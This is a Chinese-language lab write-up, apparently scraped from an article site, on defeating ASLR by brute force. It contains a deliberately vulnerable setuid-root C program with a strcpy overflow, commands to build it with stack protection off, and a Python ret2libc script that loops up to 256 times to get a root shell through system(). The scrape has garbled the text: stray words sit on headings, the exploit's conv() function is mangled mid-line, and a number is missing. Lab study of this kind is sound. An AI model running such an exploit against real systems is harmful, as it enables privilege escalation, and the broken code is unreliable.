實驗7、繞過ASLR ---- 第二部分

7.1 實驗環境python

VM 配置:Ubuntu 12.04 (x86) shell

7.2 實驗原理dom

什麼是爆破?spa

使用爆破技巧,來繞過共享庫地址隨機化。code

7.3 實驗過程blog

7.3.1 漏洞代碼string

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
    char buf[256];
    strcpy(buf, argv[1]);
    printf("%s\n", buf);
    fflush(stdout);
    return 0;
}

7.3.2 編譯程序it

ASLR 要爲開啓狀態。io

#sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"
gcc -g -fno-stack-protector -o vuln vuln.c
sudo chown root vuln
sudo chgrp root vuln
sudo chmod +s vuln

使用 ldd 命令能夠看到在 ASLR 開啓的狀況下,每次 glibc 的基址是隨機的:編譯

可是,咱們能夠發現其中的相同點,也就是說,libc 的隨機化只能反映在 2 個十六進制位(即 8 個二進制位上),所以咱們能夠經過最多 次嘗試,命中它的真實地址,從而得到 root shell。

7.3.3 進行攻擊

 攻擊代碼以下:

#exp.py 
#!/usr/bin/env python 
import struct 
from subprocess import call
libc_base_addr = 0xb7595000 
exit_off = 0x00032be0         
system_off = 0x0003f060                            
system_addr = libc_base_addr + system_off 
exit_addr = libc_base_addr    + exit_off 
system_arg = 0x804827d
def conv(num):    
return struct.pack ( "<I" , numystem + exit + system_arg 
buf = "A" * 268 
buf += conv(system_addr) 
buf += conv(exit_addr) 
buf += conv(system_arg)
print "Calling vulnerable program"  
i = 0 
while     ( i < 256 ) :    
print    "Number of tries : %d " % i    
i += 1    
ret = call ( [ "./vuln" , buf ] )    
if ( not ret ) :        
break    
else :        
print " Exploit failed "

執行結果:

共會產生255個輸出,進行部分截取:

相關文章
相關標籤/搜索